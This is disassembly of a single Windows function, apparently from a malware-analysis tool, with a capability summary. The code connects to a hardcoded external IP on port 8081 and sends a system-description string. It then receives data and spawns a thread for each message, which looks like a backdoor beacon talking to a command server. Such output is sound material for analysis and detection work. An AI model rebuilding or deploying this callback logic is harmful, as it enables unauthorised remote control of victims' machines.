Function at 0x140003120
Capabilities:
Connect socket
Create thread
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rbp + 0x390], rax
xor esi, esi
lea rdx, [0x14000a9b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
mov rcx, rax
lea rdx, [0x1400067d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x4c], esi
mov qword [rsp + 0x50], recv
mov qword [rsp + 0x58], setsockopt
movsd xmm0, qword [str.64.32.22.134]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14000a9c8]
mov dword [rsp + 0x48], eax
mov byte [rsp + 0x4c], sil
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140001e50
cmp qword [rax + 0x18], 0x10
jb 0x1400031c1
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp - 0x7c], eax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000320d
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003208
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003208
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b90
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], setsockopt
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140003260
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000325b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000325b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007b90
mov ebx, 2
mov word [rbp - 0x80], bx
mov ecx, 0x1f91
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x7e], ax
xor r8d, r8d
lea edx, [rbx - 1]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400032ba
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.Could_not_create_socket_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140003521
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x14000330f
lea rdx, str.Connect_error
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.Could_not_create_socket_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140003518
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x38], 0xea60
mov dword [rsp + 0x30], 0x1388
lea rax, [0x14000faa0]
mov qword [rsp + 0x28], rax
mov eax, dword [0x14000fa60]
mov dword [rsp + 0x20], eax
lea r9, [0x14000fa68]
lea r8, str.Windows__s___d__s
mov edx, 0xc8
lea rcx, [rbp + 0x190]
call fcn.140001020
lea rax, [rbp + 0x190]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003370
xor r9d, r9d
lea rdx, [rbp + 0x190]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
test eax, eax
jle 0x14000351b
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x34]
mov edx, 0xffff
mov r8d, 8
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1400033cd
lea rdx, [0x14000aa14]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x38]
mov edx, 6
lea r8d, [rdx - 3]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x140003403
lea rdx, [0x14000aa14]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov edx, 6
lea r8d, [rdx + 0xb]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x140003439
lea rdx, [0x14000aa14]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
xor r9d, r9d
mov r8d, 0x1f4
lea rdx, [rbp - 0x70]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140003505
lea rbx, [0x140002fd0]
nop
mov eax, eax
cmp rax, 0x1f4
jae 0x14000346f
mov byte [rbp + rax - 0x70], 0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140007d14
lea rcx, [rbp - 0x70]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140007a40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14000355a
cmp dword [rsp + 0x48], 0
je 0x14000354e
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000354e
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
xor r9d, r9d
mov r8d, 0x1f4
lea rdx, [rbp - 0x70]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140003460
lea rdx, [0x14000aa20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006600
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.140007b70
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3